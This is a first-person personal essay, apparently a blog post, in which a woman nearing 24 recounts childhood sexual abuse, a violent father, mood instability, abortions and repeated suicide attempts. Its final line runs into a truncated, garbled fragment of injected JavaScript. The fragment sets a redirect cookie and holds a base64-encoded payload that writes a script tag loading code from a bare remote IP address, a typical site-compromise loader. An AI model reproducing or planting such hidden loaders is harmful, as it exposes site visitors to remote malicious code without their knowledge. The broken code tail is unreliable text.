My Twisted Childhood Secret

I am turning 24 years old in about two weeks, and this feeling of guilt and shame have just recently resurfaced in a more severe way. I believe it is from being “friend requested” on Facebook by one of my “potential” abusers, who happened to be one of my cousins. The reason why I cannot confirm that it was actually him was because I was so young (3-6) and have had cousins and neighbors do it. Maybe it was just him, I don’t know. I feel like a huge chunk of my childhood has been blocked.

But one thing is for certain, I am a victim of childhood sexual abuse at a very young age. I remember going to a neighbor’s house in the back kitchen while he kissed and fondled me. I remember lying in bed, naked, and watched him hover over me. I don’t remember exactly what happened, but those things seem like it occurred just yesterday.

I remember drawing naked people when I was younger and showed it to my dad, who looked completely confused as to why I would draw that. I remember taking all of my Barbie’s clothes off and making them have sex. I remember wanting to have sex growing up (I was probably still around 4-6 years old at this time). I remember trying to have sex with one of my peers (still at age 3-6).

Although I grew up as “normal” as I could possibly be, (I am a professional cheerleader, graduating from college soon) I know that I’m different. It’s hard for me to express myself the way I want to. It’s difficult retaining my train of thought and often repeat myself. I often find my thoughts random and disconnected. Although I am in the limelight (as a professional cheerleaders) I have days when I feel bright, happy, and social and times when I want to sit alone for days.

I was sexually active as a young teen and had sex for the first time (consented) at the age of 14. And physically abused my father growing up. He would beat my mother, my brothers, and sister. He’s gotten better now that we are older, but at times I’m still scared.

For the past couple of years there have been days when I was extremely sexually active and days when it plain disgusts me. I feel like my childhood abuse broke me. While I try hard to repair myself, I know that I need more help than I could give myself.

I’ve attempted to commit suicide several times. The last time from feeling so guilty about my second abortion. (My current boyfriend told me it was better for us.) I can never tell my parents because they think of my as a “good and happy girl” who would never do such thing.

When I was younger, I wanted to grow up so bad. I was told I was very mature for my age. Now at almost 24 years old, I feel as if I’ve reverted back to childhood qualities. Like my life is as random and disconnected as my thoughts are.

I believe all these stemmed from a poor and twisted childhood secret that I can never take back. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘